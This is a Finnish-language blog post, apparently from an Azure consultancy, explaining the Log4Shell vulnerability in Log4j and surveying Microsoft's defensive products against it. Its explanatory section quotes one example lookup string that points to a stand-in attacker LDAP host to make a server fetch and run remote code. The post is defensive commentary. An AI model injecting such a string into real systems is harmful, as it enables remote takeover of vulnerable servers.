Log4Shell on tarina myös Microsoftista

Pikakertaus siltä varalta, että palasit juuri parin kuukauden offline-lomalta: kyseessä olevat haavoittuvuudet ovat virallisilta tunnisteiltaan CVE-2021-44228 ja CVE-2021-45046, ihmiskielellä puhutaan vain Log4Shell-haavoittuvuudesta. Sovellusten lokien kirjoittamiseen Java-maailmassa laajalti käytetyssä Log4j-kirjastossa paljastui ominaisuuksien ja bugien summa, joka mahdollistaa usein melko helposti palvelinten ja työasemien kaappaamisen.

Log4Shellin sisällä

Ongelman ydin on siinä, että Log4j mahdollistaa lokiviestien täydentämisen ulkoisista lähteistä sisällyttämällä lokiviestiin viittauksen tähän ulkoiseen palvelimeen. Jos siis saat haavoittuvaisen sovelluksen kirjoittamaan lokiinsa viestin tyyliin ${jndi:ldap://hakkeri.net/uhka}, olet saanut kohdepalvelimen lataamaan datasi. Eikä mitä tahansa dataa, vaan kokonaisen Java-luokan, jonka koodin palvelin seuraavaksi onnellisesti suorittaa. Nyt hyökkääjän pitää enää saada itse määrittelemäänsä sisältöä lokiin.

Tämän päivän näkökulmasta koko homma hämmästyttää. Karmeaa on toki sekin, että ulkoa haettu koodi ajetaan noin vain, mutta bugejahan voi aina sattua. Ennen muuta tuntuu hurjalta, että Log4j:n versioissa 2.0–2.14, siis vuosina 2012–2021, on ollut oletuksena käytössä näin voimakas ja vaarallinen ominaisuus. Kenelle lokituskirjastoa käyttävälle tulee edes mieleen se, että lokiin ei saisi kirjoittaa esim. käyttäjän syötettä? Log4j:n tekijöitä sen enempää moittimatta, tämä kannattaa nähdä ennen muuta tietoturvakulttuurin muutoksena: tänä päivänä olennaisesti hyökkäyspintaa kasvattavat ominaisuudet pitäisi laittaa oletuksena pois päältä. Vuonna 2012 tilannetta luettiin selvästi eri tavalla.

Microsoft ei juuri Javaa käytä, ja ainoa varsinaisesti haavoittuvainen tuote taisikin olla Minecraft. Redmond-keskeisessä ekosysteemissä houkuttelisi huokaista helpotuksesta ja virnuilla Java-heppujen ahdingolle, mutta tämä olisi karkea arviointivirhe. Ensinnäkin vain ani harva yritys toimii täysin ilman Java-sovelluksia (jos sinä et tarvitsekaan apua, asiakkaasi saattaa tarvita!), ja toisekseen virhe nyt vain sattui tällä kertaa Java-tuotteeseen. Entä jos ensi kerralla joudumme juoksemaan jonkin vanhentuneen .NET Coren apukirjaston tietoturvaongelman perässä, jahdaten päivityksiä sovelluksiin, joita ei ole ylläpidetty vuosiin ja joiden tekijöistä on muistona enää kourallinen tomua?

Redmondin ritari taistelee Java-kentillä

Kun vakavat haavoittuvuudet ovat ravistelleet maailmaa, Microsoft on usein nähty säntäilemässä paikkaamassa omia tuotteitaan. Tässä myrskyssä näyttäytyi varsin toisenlainen Microsoft – jättiläinen, joka kykenee massiivisen infrastruktuurinsa ja laajan tuotepalettinsa avulla havainnoimaan ja tulkitsemaan tilannetta, mutta myös puolustamaan asiakkaitaan. Tämä käy varsin ilmeiseksi, kun perehtyy Microsoftin Threat Intelligence Centerin eeppiseen blogipostaukseen Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability.

Microsoftin tietoturvatarjoomasta löytyy vähintään jonkinlainen ratkaisu useimpiin niihin tarpeisiin, joita Log4Shell-haavoittuvuus yritysorganisaatiossa avaa. Tässä tärkeimpiä:

• Microsoft Defender for Office 365 luokittelee roskapostiksi sähköpostiviestit, joiden otsaketiedot vaikuttavat potentiaalisilta yrityksiltä hyödyntää tätä haavoittuvuutta.
• Microsoft Defender for Endpoint suojaa työasemia ja muita päätelaitteita mm. löytämällä asennettuja Log4j:tä käyttäviä sovelluksia, tunnistamalla verkkoliikenteestä merkit hyväksikäytöstä tai sen yrityksestä.
• Microsoft Defender for IoT pyrkii tunnistamaan saman ongelman hallinnan piirissä olevista IoT-laitteista.
• Microsoft Defender for Cloud tunnistaa pilveen asennettuihin sovelluksiin kohdistuvia hyökkäysyrityksiä, epäilyttävää ulosmenevää verkkoliikennettä sekä tilanteita, joissa palvelimeen on jo mahdollisesti päästy.
• Microsoft Defender for Containers skannaa kontti-imaget viimeistään niitä käyttöönottaessa, ja tunnistaa mahdollisesti haavoittuvuudelle alttiit työkuormat
• Microsoft Sentinel tarjoaa näkyvyyttä ongelmatilanteeseen yli kaiken kerätyn loki- ja muun aineiston. Sentinelille on saatavilla valmis ”Log4j vulnerability detection solution”-paketti, joka tarjoaa mm. valmiita näkymiä ja kyselyitä ongelman tunnistamiseen.
• Azuren palomuurituotteet Azure Firewall Premium ja Azure Web Application Firewall tarjoavat valmiit säännöt epäilyttävän liikenteen suodattamista varten.
• GitHubin Dependabot auttaa tunnistamaan ne sovellukset, joiden lähdekoodissa nimenomaisesti viitataan Log4j-kirjastoon.

Ani harvalla organisaatiolla on käytössä kaikkia Microsoftin tietoturvatuotteita, ja vaikka olisikin, tämäkään ei vielä antaisi sataprosenttista suojaa näin laajaa ja vaikeasti korjattavaa haavoittuvuutta vastaan. Silti, luettelo on vakuuttava.

Tämän lisäksi on vielä mainittava Microsoftin tietoturvatutkijoiden analyysityön arvo: jo mainittu MSTIC:in blogikirjoitus sisältää kokonaisen luvun Microsoftin analyysia siitä, miten haavoittuvuutta on käytetty maailmalla. Microsoftin näkymä maailman tietoturvatilanteeseen on käsittämättömän laaja, ja suuren organisaation rohkeus osoitella sormilla on myös vaikuttava: blogissa kerrotaan mm. siitä, miten Microsoft on tunnistanut ainakin Kiinan, Iranin, Turkin ja Pohjois-Korean käyttäneen tätä haavoittuvuutta.

Hauleja, ei hopealuotia

Tämän tason ongelmat ovat väistämätön osa verkottunutta maailmaa, jossa mm. ohjelmistokomponenttien hankintaketjut ovat niin äärimmäisen pitkiä (ks. aiempi kirjoituksemme). Tulee infra sitten omasta salista tai julkipilvestä, haavoittuvuuksia tulee. Miltä ikinä firmalta tietoturvavälineesi hankitkin, yllätyksiä ja käsin ratkottavia tilanteita on varmasti luvassa.

Seuraavaa tämän tason katastrofia ajatellen omalle toivelistalleni menee joka tapauksessa keskitetty dashboard-näkymä haavoittuvuuden vaikutuksiin: kaikkiin haavoittuviin järjestelmiin, kaikkiin hyökkäysyrityksiin ja kaikkiin tehtyihin suojautumistoimenpiteisiin. Microsoftin Defender-tuoteperhe ja Sentinel ovat vahvoja kandidaatti tähän, mutta eivät tietenkään ratkaise koko ongelmaa. Mahdollisen korjausprojektin koordinoinnin kannalta laaja kokonaisnäkymä on kuitenkin keskeinen.

Oma kysymyksensä on sekin, onko Defender-tuotteiden tai palomuurien käyttöönotto nyt pakollista, jos omat sovellukset ovat nyt jo Azuressa. Joulukuun tapahtumat kirkastivat monille näkemyksen siitä, että Azuren perushinnoittelu pitää sisällään alustan turvallisuuden: sen, että Microsoft huolehtii siitä, että Azure-alusta ei itsessään kärsi tästä(kään) haavoittuvuudesta. Jos haluat turvaa omille sovelluksillesi tunnettuja ja mahdollisesti tuntemattomiakin haavoittuvuuksia vastaan, Defender-tuotteiden ja web-sovellusten edustaratkaisujen harkittu käyttö saattaa olla perusteltua. Näin vakavat haavoittuvuudet ovat onneksi kuitenkin harvassa, ja varsinkin aktiivisesti ylläpidettyjen sovellusten osalta yleensä nopeasti torjuttavissa. Vanhojen sovellusten kohdalla infrastruktuuritason turvan tarve korostuu.

Mietityttääkö Azure-sovelluskehityksen turvallisuus? Ota yhteyttä!